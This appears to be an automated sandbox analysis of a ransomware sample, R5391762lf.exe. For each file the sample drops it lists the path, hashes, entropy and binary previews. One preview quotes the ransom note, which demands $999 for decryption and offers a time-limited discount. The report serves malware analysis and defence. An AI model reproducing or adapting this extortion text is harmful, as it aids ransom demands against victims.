Preview:	0.0......L...Q6.X...r...hu.......S.M\..cn.4....w..z....ZF[....U..p.....`..._.r.._..f..W..Sw.}.^o"a[...j.e.'...f.wd....A..c?u... ........n..i.. ...~....D....3...(.'...n.+._Uq.Iu.X_m......G.U..H.k....2........x..a......[.>.....Y.\|p.V..K......v...N.]....p=...~......I/......eu.].z.K...k..k'R...-.6.^g.+..ef..iO......+z......R@...h.....i7f..8.i.S&.....2.e.6.....F.(N?.}3J........8..]]....i.ag`.I..{....Go.......!y..4$?.:$..71\.x`.W...~..F....-......`..tq..v......H6..^V;.....pA/.>..-..VE,#5?Q...?<.&....h......i......L.>....t..,E.N.....m..D.....\....... ......)}r...B:4....2.M.Z(Vq.\|f.....ul.[..7.@[n9wq..o..u0......h....-.jR{.n...:...b........5U....8.;..h.R..6..7.n...\|..1.,,.y.![s..3s..U..K..n.R4........=........K..k.....#.w.!e..T..J.<....'..........g1.=......V.........#.8#rqI.tW...ay$.0..qf....h~...Hy.....N.7R..S.._X.liK..........#..}.y....H...5>.."..qOw..C&.\..^.O.EgGx..U..OV./g.j...U.7&v..7.M..{..V....Z"J.b..o.z..K..8h.Z.L.%.@.{.6."..!gB

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{7fa4f3cd-f899-4abc-9ee3-31954eeeae00}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.351171759313438
Encrypted:	false
SSDEEP:	3072:VQGcu/EMYB4t7tXbtMqppjePRijYQWDnKACur0DY6UUVpzaM0b7hebcC9ECNEFMd:eO//C4t7XMqpJeuFiwxTLeM0b9nCNn
MD5:	5645B7BC9DD29F7FE5AA63F55BCF00BA
SHA1:	CD68846AAF3E43B95C4A7C344BB201698798879A
SHA-256:	9F161635B13CDC23A7FCD6C7B9EF517D42DA840A0F5E6DB3B0812B0E350A031E
SHA-512:	F9C41BEF27C64EA818F15179A31DF5496F4425A9DBBADD602686A9FE4371883132FAF2D38A931D7D99FBE478EED134D2FDD41396514E4BB491ECD895FCC34983
Malicious:	false
Preview:	.....d..u .,.V..c:%{y.H.p..M...-...b.x....)...:.0.F..=.1.QV...q..z..Kr....}7b.dCA..i...`^S....<.)..e%.$..{bZ=./.G.Q.. .k)g.f.^A.{.B.1..!..Z...._.l..A....0.a...2.[R.......b.#G...3qb...8...N..<.h...>....q....._s.g...@U...010...1...>.X.~.ki...B.h)....1]q..,.t.X."a.G.e.OX'...A2\....((.P.....R...9..._.._....$....x.S.l$[.....[....A.u.1..(.....?.Q.[.s.u.Z,-".../t.C]..,.g.....N...)..j.......T...?W<.....q...t.a.!..&.$'.Xi.gsk..v@..;=..#w...X._...O..h...U.;.o..6.X.....6....d.A.....lYKL...A..U......Lp..:...)N ,-@..T...#.x>-L...)...#.?......u..fZ$....6..>....O.D..i.`...x..BA...%%..]e......`...lP..m.u...EW[b.:.P."y.r.w.....eA..8...$.72..E..4U.z......L6,.^<...v.....dLte.I.`lyhwK.b....F.Y..XfnB.....6....A......2...0.......8.Sz[....7..7..P..n...[.7......&..P_7.......Ao..:0J...v.C..)S...G.bI....w....V8.:v.Q..O..L^.......^<..Q.R.*..8...C...z....I&.V_^..{.!.......+.;.T..d5.K...9=..n:..(.Q.a..r.c...MTz.............@u...Mf..Q....G..}....rw...<'..x.Zs.#P...0..b...Co

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{7fa4f3cd-f899-4abc-9ee3-31954eeeae00}\Settings.index

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.6589616839138275
Encrypted:	false
SSDEEP:	24576:pl3mJ3Gjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuj:LmeCF8hR3z1rM3lVKSuj
MD5:	F603CDE2C10DE6CAC5B71B7813AC9FD3
SHA1:	CF67AED20EF7335257B4A5490A172E9F0FFF9409
SHA-256:	5341B02D5BBB6AEDCBD520375FC28AB3211A7BA8EC214519729D55A1664E6793
SHA-512:	41DB915B5280477D9ABB858ED2855C1050B5B3967616B8CEEBE9E5DAC4D4CB5349D0EFBCDF4C91E6B0B2A5B219E93BEFC197CEB1C7E47BE941AD9119E4C4E414
Malicious:	false
Preview:	Ej..Dh..c.Vm.T.......H4.N(ycT.FZ....f...r./.{.^.../zP/{.X.<..UQ~....<...j.@.?..%\.p#.^...RB\.....N(<.....a...3X.b....:.)`Q..?$...V..oX..f.Y.."...r[..O.<.5..-..Fg.u....1.....Y).?...2.......Q....TB.MEU\....Z.y.]QZ$....gaX!,....N.....O.L.ZE....4...3...m.m&Y.._.GJ...m.X...bhs...8.YH].....kM-F....f51..5c.h......~.C...O.....:.L..%z..z/..e.=n.+'...v.....f,0.7i.... ....\|.....G'...2t.X.K.S&....t..y.>m..y..l....e.....1(.o.Fy..4.A!.>....r.....U. .........8p.....?(..1U.@on).....d..g.]..b..g+.%..B;............I\...03.&..9xW..m..Ks/4....#q..%,r..3\|7..&.GER{...p.A....;.3....J..yN3....).......!.a...Uvz6.H.i..x.1..Gp<......t.s.[...Y........H..+..Nl.......#...&....f.cV.h_ MW\QR...............R:Y...n0.(....z......Q4...-.>U~u.M...kA#+.8.bQ...........U..O.i.T........7.4..8M...9.w..IS'....E'f......F.....s...W.....8...*(.q..knP.+.....N..H.,... 25xf.P..4...0Dk..0.^.\``.fM.6J...n..VJ.w..u.S...6}..q.7.B......I....WY......k........:.^1..8T. .G/C3.Ke...\|x.?.:.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{d898effa-5251-49be-909e-6a34c1643269}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.584461543519391
Encrypted:	false
SSDEEP:	3072:YkzBEzWtvpFOFBRbDx5lpr2AR2nDaxm81oCMplarrAda1aD3MhPiCBjCBsIcq0Vx:YkSzoRSLCKOaxb1oC0arrwUjCxc81Cdl
MD5:	7B1722EAA355B343F5AB8252231C1EA5
SHA1:	1C8C868E1CAB574DAB2647D9C36E7DAD10A2A28D
SHA-256:	B91A4B7251F2C89E2A6E1C4AF3D464825C704FC2C44C10F45D53A30800AA16C4
SHA-512:	478E00890095364DDEEDC8F7382F181D25E0816C130133E8FBAF51AB007FEB8C2349425781279688F71558EE58FE75ACAF0F51785F2ECA1CDC0329C4236BC92B
Malicious:	true
Preview:	0.0.......[.. 7.....=}.[Z9...2l"f.Iqj...j.R..[I$...u9G..O.5.H..l.o..a~.."\|..=...:]D8.._`i."....S[....=B%l.._..#.."..Ren....@...$..&...;.J.\|..Pg.c.?j...k....g..d..g".`...u...=.!@...f....o......L. .......\p..._iU(\|.\...D..6..)....`&.y....!%...'.$.B_...2...}>?J.SVn.!...s\.;...<lXc.#+n..a..1......A..{P....5..y.3a..WEw...e..V..y...r.&....^:@_.`....N.^/vc...f.s.....".....N.eV.....I6.A....V?.."..1\|.a.m...-...Ye#8.J.%J.....R.SiCy.J...6...'...@.G'.xC.z.!.}.{re.....>.'....T.<....1v.W......2Y.h....[s.Zvu.N.;.I........z.].}......"...H.o...j...s.Q..<......?..~.T.........#...J..8..%....cd...Y..[@K..m..x5t..j8......@..C.VM..-.....h..:a...z(....v6........hqt..9/...B<......g.!$\o3..l06.3\.8x....{P...@p...kK.p.A..J2..3O.&..r.n....d.p.N.h.:O.tV.. w[..\|.#.0.1y.....Kw.....k. ..../....w.=.m............&.iV...L.F...T_E..^..%...F\|...]...t;.k..A]......Z.e..y..e..C.2..G!. 4M^.J..=....g..8.rg...I..+.$.......`A;u..o.wb.&.o......9.3m.....]..G...d..v.....@....p.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{d898effa-5251-49be-909e-6a34c1643269}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.3496966481113475
Encrypted:	false
SSDEEP:	3072:iWKLhzWFvgoo3yGoBzCHOz6ZwvqngNTuF2Jm/olyQ1iBu7k7dTpu4Q9cC9ECNEFO:iz6vgl3yjbz6aSIuF0m/0ysiykd1JCNR
MD5:	B29760E51928862B21B4E99D1A9F34C5
SHA1:	CDBC7242E4E8DF936EABB143C9A1F68B2CD32C95
SHA-256:	6D5A5CCF5297B2CE37CF0E0BE6ED5B166AAA411DE1E72620B6B6D30D28AC1F64
SHA-512:	C98CB6A590F3015AA5A40CF527A1D7F962868A01B2670AF555C1C6C5F480D40C1EB2BAAC6F87E3E55421792DC9686369F6E0BA53337EB737D0926F63DA7B1662
Malicious:	false
Preview:	.....w...7.L......`.7t...t0.C.,:>Z.q,.;J...S..O.<..[(...;......krbM.bU[!..>.M.j+.\.8.R..h.[.!....r....6.DN.P$;.N..\...K.o....M....$....Q`..[L!.ko.....s.W....0..g...a.}Vz...R.,'..&...c8.m....&do....I...:....m.N..0.M.. ]..C.v.......e....H.#.K....n.%..;..0...b=`..N4.....4.s.Ch?....[d..,..@.%o...G...Bf.......u...()+].r./4>.`.V^p..oP.. `...X ..mB..Y....2[./.p..W.]7jw.,....jV.......:...D...g.....0^....ii...S.".tH......`o.....1}V.z.p......jX0#...~pj.b*.......h!E...Zm\...>.n..YG.".......>.cB...S1.?.1-Er9'p..k.K...D{+a..iv..1.U..j$.......ce....?..w..a.........Of.a.?.....G@...t.....NN.P.....m..1..HfU.>...#......k...u..4...e._.......J...MhZy.q.=..!...8...T'IJ.p..}.)sM....P..s..y....nT.HT.....0....<....=...z.}tc^p~.H.]..f.nx_.'.WC.o.....zz.....\e.z.*\|2%4...Q.R..\|...,..8T.............t..!p....w.6.k...{..'.e.@.:.n.m.....&.....".:.=...1.....>..z...c.3.8e.a...'E?"I..e....2..W.h.i..>...b.e....V...g.u.pG.<...w..0..)....R...S.4.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{d898effa-5251-49be-909e-6a34c1643269}\Settings.index

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.657990738883413
Encrypted:	false
SSDEEP:	24576:D8swSAjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuR:BeCF8hR3z1rM3lVKSuR
MD5:	6E2CF8C8EBC9F68DA33DCEE458D7AEBD
SHA1:	C5E74193EEC109D78A4F2DE768CFB19CF7DCE5A7
SHA-256:	9823A04925BCB6F8A5F8335955AF5BA001E36416E72BFAF4FA3C358F50894A71
SHA-512:	E85BF6222EA642090599AAE4FF89B8CD71BFE493D57BDD3E2DB422A408ED705347DC5CE70A36DDAFF64099C06194472D9EF539EEBE7E376CF0AFFA183C141277
Malicious:	false
Preview:	Ej..DI.7vCe...n..2uvt.....RC..&.T...^b.>F./..1..z....P...fH.F.Z.%.....>6..4.~!....).9.\1o..Z%..f...B...P..8..g....p.x...U.ER/..E...>gH..y.....4.0..A.Geb.N!pLz@.Y.'.....A.C5.....].%}.Z.v."}.7.^.\|...8.K.#.x>X......f...;...`a..a4..D.Q.....'<...+.O-R.O..z...H..!p.e....^........3...,.k..5......S.Lo.m.vf.....g....Uoh....y...i.....A..(S.LC..........w..Y.;.}^.I..{"/Y.M...w..).y.:...V...w..d~t...?....V..G..XZ.{.S^.o3.w.5M.....LM}i......w.f....G{r..f.&\.#.s...\|.....2..2./..3.U....q.)q.J.KD~.......$...o.....b.....]....r..X...j.......=...Y.6\|_.^.....1.(....J..%.F.H..9c.....g.[.ME.a.j...>.d..t..n.e.[....\..iM1........j:.R.8H...B..8...{r.Ms...Ax..S.......+[...g&6%{.1>q.t.ke.$.....-~r>.JJ.......m..^..<..r.O...qV.O.U...a.....b.>T{N.N..X.2...Z......g.4..14.K....F..K s-F.$.<.R05...[.......u.........Z....1....f.j..n.?dB9"..0.J.......=~.M..=6g..Z......5 ...z%fF.......d.8<O....5.e...t)../.>@p.ds.L.\|..'..w....0-g.-L...c$.%.....k......p..h...a.......c@6.......6..-...B

C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975540907878777
Encrypted:	false
SSDEEP:	192:lhAzVfPaPJXJa+YsF2KhZsr08A+P9me2tHPkXDdTf+xdswQ:lIVKP9YGViE+P9mdtvkzAfDQ
MD5:	0C96723A729F5BFA82FD715F34AE51A9
SHA1:	F980E9FC5A27F381C633A967982E9485A0F7EC31
SHA-256:	C13263F8E753D9CB41B397186F89B821CAC971CFCAC40FC185CE844CC9A20FAF
SHA-512:	DA635AABE9B2FDAE025356995BBC5B03820F34C61A7C46C7C5BF7105CC56A0A413F4F0E688034185D87C1BAAAE9E5B84E2A50316FB6EC68BE408D0D0CE03DD81
Malicious:	false
Preview:	regf..).....$.[&.........j.<.q4.0..m.I..hxa...}O.......z.3.....[..8....r....z..@..`....E.....@........\.7b.lc...8.ZR.<cr...=..s......Gm<.....r.#.....Q........K.8.r.=....^...../.c[....ir\.M......B.r.^8.7[j$.!........3..T.,9.q.?.D..!...."..l$...................Yy..&...]/.....\|Q\.N.....n.E......U..A_..I.....+_%.!Gwq[..u...j.mt..~.K.....~....x......b.TkQ... ..#.M.H.D0.W....Gk....G.)..5&Z...d.....O.K.r_.\....a.E6....2.....VJ/.?.I.._..p.W.....f.BN5t..1L.o.{.C.V.L....8 ...[..!T9.\|...H.......G.._....u...e-L$.!.[..E...\.....N..F.....-.7".).`.oKV....3.....zf&.o..z."k......`,s\.e}.S.(..^...5...<#..:t..!).<.B ..^5cu...?.fg.R../.fj...+@w&.g....?.Z.z'w.?"..Iu..A..1.K3W... ...W\|...N..N..#...J(...(.....(_.v+.8s.... R}<J.....c2..?.l.6.bI.F..9.X}nb....4t.v0......`'D...\..o..A.....^..\....2.JP.#.....W.Nk.........9..E..j.AK...@gV.._..h.hL..'.H.z'....D:^.j.k..w{.kx0.e.S.Y..l...UQp.....!..nhM...=.2.-:....5.?..hr;..jT..\;C..R..5XM...A..8._u.;i-.Y}.-.![.@.k...1.+.

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204985320903275
Encrypted:	false
SSDEEP:	49152:WoP38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOg:WwF1qd/LKNg
MD5:	8C17575FBDBC9C5C88F8885B5D6C9B1E
SHA1:	B97CFC240A3918AA5D6573017D4390CFAD8C3E7D
SHA-256:	40A762E991ED141481B7CB9EFEEA5EC1161235FB0CBBF943B44BF0D1FDFFB84D
SHA-512:	811D11B696EB23A7AF4BE6DA28CC78263B773DF73BCDB9FEBFDE08C81A9FA57F8E75A5AB154E83F0EB1BA2D10CC149421CE605521C2FE33D7C002146A3008AB2
Malicious:	false
Preview:	Micro...h.^ tM".;... .Pg.S.l.8.T.g..d..S...M..;.(...fZn..:.DM......}.C..#...\|.4....Ik..9....x.WyK...\|?JCY.llM.E..51..XE.=.K......f9{8d...W.V.."..?._..... ./...y.0.!LM..U..Z'b#~.A!..,...9..).9. ):9K...J/.~.n3t.....,\|...(,q....v-.g6.p..$.yg..H....4.........$.`...G.MiA.+'..H...v\|Vq).Z>..\.....0..R.p.]...T..C..{..2......<..z8u.T.-C.#.,..O..W..?....c....-.N%....Jl.N........F.IH...<..o.9.K..`."C9.).........:..Jl...[.w..Y.w..W[\|.,......g4....<6Z..r...`..?4d\kj../....q...2GC..qn.$..R....Q.....&...P....j!(.Y.F.j.Q....N.4..N...a..._A.m...D@((..b..C....k.'?...i&#..}A:...D^?...<.}....PQ...TPt..L;"../3.8...=.?...4c/c._.B....Q.+...../WBa.....Rr.:g..r.].4]6{.x.g.g ~I...\|<...@+"......i....HC...Qh.9...1^.c>..].ic.}\|u.t...c..0......./..EX`.y.p....B...#qF...^^Y....9vYc...R..M3Y`.4.t.....Z.}$.O...S.e.e..........;....E.Q....8......l]`B.... ....S..f1..9@.R......I......@......BS(..U/>s..A.u..W..F.(.rt...m)..........dC..(..{.:...P.V..S..Lc.........^4...b\|.%

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204946007269295
Encrypted:	false
SSDEEP:	49152:+XKm38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOR:+X1F1qd/LKNR
MD5:	B62C4EF4B769F304A7D5B4B1FD16EF2A
SHA1:	11366091805F47DD41EDB3E2DC3433E8F151E17C
SHA-256:	0C222031DC5BAAE7B5AD2FD2DD80AEF3CEE5ABE9AD514D8E192F3AC8F3BE4811
SHA-512:	0016B6FFCBD083806695E1B8AF06A346719833701321D537AA25AD0E42A2B80B682BC62CF026A2E714C3B3345D1DE31F9D7BDC3311C62A8A375E87DEF66CF6F0
Malicious:	false
Preview:	Microh......:..^8.v7u.XH...{.1....].u...h..P.......!.@.>?..p.1#2o.?.~[+....~...<......6.yW;.o.4e..'....U..._..:.#R9.....A.%3`<.y:}...'/.988........?.W...@......y...PPPd". 3.#.7...?.3 .H&,9.....o.'G.?h.>i;.s..O.LI........7..Z..i.u.1.{(.XSb.(.t...U.u....d....Q1...9...{%..G+I9]H.?y....u..G./..t..To...Ur#._.N.`S......W.g......."...S,..'...6.;...U%.jgJ:V...P.....E.......RR.~`?.....0.....T.w..\|k..).?.`.cjw_'Gw_..3}..dy.8....;.yr.i;....3...r....i.RF..K.i4.c.~..r.m.bt.$./.?d.v;j!jev...........@.~...uH..c....F.E.h.z..8a..V..jRA..h..V.^...`-.pW.W....B...F;...`.q`.m.J.Q...m...\z...h.}..Hb..sH.SE.Z.. ....n.....Ztl...'Q......O.hi.z.%b<...gX.......^(..67..r...k.T.}(..p....S........3...jI..,4.uD=V...._..f.a.Bw..I..O....V....&.cV..L .Id-.:f.qG....=R.Z./h..xl.C&....._.....&..C....x..A......Q hSj^...B.U.2[....r..4.8...Y../....Q....b..oHko.W....6.$)P.{..J.vo4..[.a.'.....]...w...P:.+0dF..`...<.y#.......Iw"...S=..'bg.X.t.......[_5....D .... ....

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662531015791767
Encrypted:	false
SSDEEP:	12288:WBuoxtpsYBlYSJQ4aKVmaS4aMz8Pg3lxJo2cvXt8:EuYVoSBaKVzaYcAqt8
MD5:	9F36D085AFF8367AB36AE422DBE636E2
SHA1:	C2E60EF8587D517A1E130D657DAC415732B5D451
SHA-256:	12208CA7F30A5F12653D907A9FB7672350E44B5B5C0BE83AEB93A8EEAEC20855
SHA-512:	F4FD03874FFDD15962AC0E023E45DCEFD113AAB547D2DEBC8624946BBBA2A68E5CA23663D9BDAF6D0D7928ACAD3E4854D952E8AC80F8AD12FF96D6AB44820595
Malicious:	false
Preview:	Microyw.}.......vOP...e.3..F(HZW1.E..0m..8.".....n..D...Yzl'Od..,.E.1..?../wGc.{.{..Z..i.x..%.s......H..ab.L..jM..H.Q.[......F.,..1..y.bI4...%.b.,...t....a..62>..-...i..1+.D.CB......O..g..1.euO....&..(.?.<..1p...S.9....C.....:o/'.....c....V=.......1.3""...<...E..i.1....HR..!.q........\\|.B.4.7.zv....R.'m..u.......e..c..g...Ox.s&.".Wf+..?..C.&u.....r..m..y~').<..a.gk.9.d...qg.Df.t.,.6j{1..\|...\..WO1.3....bp..ES..;q].y.. ...fUH.a.(..J..B..>.#RF..9W.....y.,O..\.y6....P.LOs.S....q.<.1.$..>.e...h.?p....p......m...F.`0..!....=......n.......d..>Z.e.S..q..%.G.J.............>.n1..7..J.5Z.t....q.f..lP..W#......}..c8.S..Q.B\i..`xm.%G9?e-..Z._.......s.O.N.L...i....u...H](..,..<.p$.x.....Z.1Q..D..V.p.K9.O...Pm.a..*.lG....W.G@.\|Eq'.3..X.S..#.+.%..<..T..uu...Z.h0...5]flu..S.1rx.......c......_].{.K..xb.T~.[.%.4...v....x...K...t.CsZ"g~..1..Q..Tk..<...)b.d..K._j\|..Z....L.......W....[58.o"P....#...e...b.}q....f."l...$..J^.\|.g.<y.K..i.U%m

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662761702038583
Encrypted:	false
SSDEEP:	12288:c135Cl5l1xt4XTcJQ4aKVmaS4aMz8Pg3lxJo2cvXt2:835U1t2TcBaKVzaYcAqt2
MD5:	B3EA3733BD8E3F0E7DC26BCEA45F9A6E
SHA1:	8C8D20554565DF758F92137A4F1382383AC0F0DA
SHA-256:	8F612CF47D9BECA92E325E31AA6A72CA1E95BD5CEC08A8661DD93322AC947AB2
SHA-512:	269AD38369D6E5E776EEB8E8AEF47B2C7949E513C1CDC640ECB14379E7F982D151954FD535B39FE6F71308DFFE856528B49B2A965BBA0CB257CB17BF024746B5
Malicious:	false
Preview:	Micro..A.^.[..H......).p..8z5...v5.........o..].A.\..g..BKK..e...=..l.Sa.Rqi..lT7.....:B...~b...Z...ci..[.Y..F3....1...T9J.......d.Ft/.bqT.~.A...,0 .aI.F..@3..k.8..\Y..L.....Zh.8....U...6%..:U..%.+p.>C.n.p\|..$.5..T.s..5B.,.....q...eC..e.....k.{.L..p..L(.3.b.gpj.. ...,4Y...:.K.^E.X.....pq..m.....9...Y.U.3/14.7.O..Y...#bGy..`..T...e...q'..&B.h...-../......Ezbx.x...,\|s.X..+..i./.UV`.6..-e;G:{.z4\|.Ne..6.`+.X2.~7...N.b..5.@..."..h..+s..Zf..._.<0+.9M4..~....'.....i.....H..'.].P.}Z&u...!...w;mN....\|...v..I..U)>0.0..\5C{.V]....TF.N.a.H.&{....'.m...l.r....g%......j?.w.~<.L.W.<.u.&.'4"}..0L.t...&^S..Z...........P5.~s.....s........3&#d..T...D.}m.q....;i..wq]..M..e...L..I.Y=.yC..W@.+-..oP$m..B7N^.>..d..3l.XB.!..b.aU.SYVy..s.....v...........&0s..[.......JC&.."J>....`j:./B.E8GwR...R.I..5.hHg...]9..i...Y.MV.5.k.o..s......R..4...D.K8.7.t....D#...c...@....\|..Ir:..........6j...C..mW..S.?\|..yT...CI`...pN.W.n.:.}.+....@.....=. wU)k1........\|...fs......r.

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992331227888763
Encrypted:	true
SSDEEP:	384:iy69kXZ+9CE0xL80ZN4C6m/PzlC2/gODmWXqMRUoOV8jhZwGdul28bs4iFShn0yQ:iMZXE0xViYLY2/LmWXq2UoO+jv5Z8bc3
MD5:	97B8F0C74479214402419D749FBD05D6
SHA1:	DCC6025CEFB5DA7A3467E505B0EE62DC5C6C4F05
SHA-256:	2827C09AE27F448562EBAB2095756AC06F663101F3EF9722110416D350CFC345
SHA-512:	9D5444A8A46FC28EAADC00624802294B995BC28168FE5618C7C37CE20165F031A5737CBAA77F8453419BB895C6CCCCBE2517D4B4855B3E90CA74776042E844FB
Malicious:	true
Preview:	05-10...LD...... .k?.....9.a....:"..~...C=5{&Z...6M.o{.~.H.(.9.Y........`!...}.7..D.E......'.$..j.V..".......t...2....io.T.m^.E.cH..u.;.rn&.I...#.....+.u...z.Q...7.g....qj..1E~N...@.z..]....+..\|.g.:............#Lu.Jb..&....,[h.S......J.]...........G...0VP...Vz...d`8....rQ^g....ME@(..o..@'...Vr:K....,...i&/...........6F.]{.g....Rl.8.J-K..i.......h....y..6{w...S\|1.G.O.~......]L..#...r..!..P.~D....`.......N.K.S..8....W.;...O[.P....}M.,._`..j\|..-.{..:...9]Z%.!..RHUm"...&....`B...i....?..)b..8...J9vn....7F^H\..x[.N..c.xY.....$......#W..Q..d...t.Z.0.(......H..@.:....UI.PX.X..CIXY.+&...L...-. A..;..>.xyByV.d.Bq.o`..........D...$H.t..jl..o..L...m.'..."._.h.....^F....>2.\|..D\.......+.q...=....S.e.........#V..9f-.'...o7.....mj..IV...(..J...Ag.d.F.p.[..Z.Z..`..F._`..'.q...0<..E.%.@.!...h...H...hL.O_...&O$.......\.6.%.b.....<......y.>..8D3y.....K....\|..rg.C.....\|.gS.n.-M.[.....}....Xw.2J;q..@..F...B...k.0t.jr.Yp...<%..1......9-.....kt..T..o.h......

C:\Users\user\AppData\Local\VirtualStore\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.875671114836671
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3u:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kp
MD5:	59EE21E88485CDD659BCFD1870AA3B80
SHA1:	806224D396FAB3FCA8C44909B256A3BBDA9E5227
SHA-256:	1DBACA7209015FA93115D632869F80BDF64AC479EB7CB77EB188A8A4C7B4D54F
SHA-512:	72DB3734D0B0127ED3D1B394E86DFADE8E97BBE0F6C39627F7F9D0D7E4A1BA78CC101285899172944B88922FD8A6467C09DA83527D2D23AF4EB721F2542750CE
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.7183691486677795
Encrypted:	false
SSDEEP:	24:YkoYALMAUQQCpECLcWOgueSKGWDPcPuvmxdVTxfzB14pdXq8uWbD:YJYAoAUP6uefcGeHJ4pdXFuED
MD5:	B0C77F4FE795AA334066EEC7032AD8B7
SHA1:	AD7BC751E848483376C1CEB6A593100298C4A04F
SHA-256:	D94E26CE51DD1F70A82EB4C34C06DF2B9C60B537EB9B537281A256D439B4710F
SHA-512:	BE8B3C442BE6A6FC7583F78A3A90D68E7DE56847CE2FC0CA7FC6494F0163E276BA8E796344331924DB5C7B8907FDA114D16CA21A83B0D53168BEE103135D5122
Malicious:	false
Preview:	{"pubF..u..oM..k..'..[~..c0:..:v.K....$'..qP?C.....c.....y6..Vz......D..x.....@.0.XJ.l......\..YJI.i.nGc.h......9`/8U(p."\.{.M/a2#.....w...l/.)cP..{,.~L8...Si.k_..P.U...l...x.Eh......~l...I...z.iWk...k..Qt..3..~.m.....[.nx!.Go...Q.*.<..7.....0....h.e.\.w..0...M.h.".#..>.V+...[..-.5!.Zt.t9......?....S9. K....a.....!.:.....8M'i.....h`[...S.#..F..L...4..V2...a..Y..1i..<......-@......j.....t..Z.".;b...l3...(4L.&.Wtc.z......J.m.....z....o.0...fF./>.h~....s. <5.E}...(".23.....B:. ......^.....O7.6zj....Ce.C.Tqo.".2..x...Z....f..H....Xg.A.....n oh...G............rFq..+.r.....s\|.}..sN..h.S!...j.iR...~.0..y.z.+.;/.G..x+&A5\]G...k..k+..BdsA5.`F>..Kp.x..f.i....g...M\..H.b....,.......=;a[...\..L.U..\|B.J2..z.R...+j...r>6...w.,.v.."Ep...l...%.Dw....n[$............FBp..#P.u.E...n.C.d..s.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	781824
Entropy (8bit):	7.70051788074929
Encrypted:	false
SSDEEP:	12288:S13ahbKvq4YIvjnARDUsrD4Shv9QSrwZ/BpOtI7wWsvvaGDXRorYm+0FPSoyWHJk:NJ49sHv9zsZ/B0tWFoXRorg0BSFWHJPc
MD5:	4F8FB134C680D0E05861A34827751834
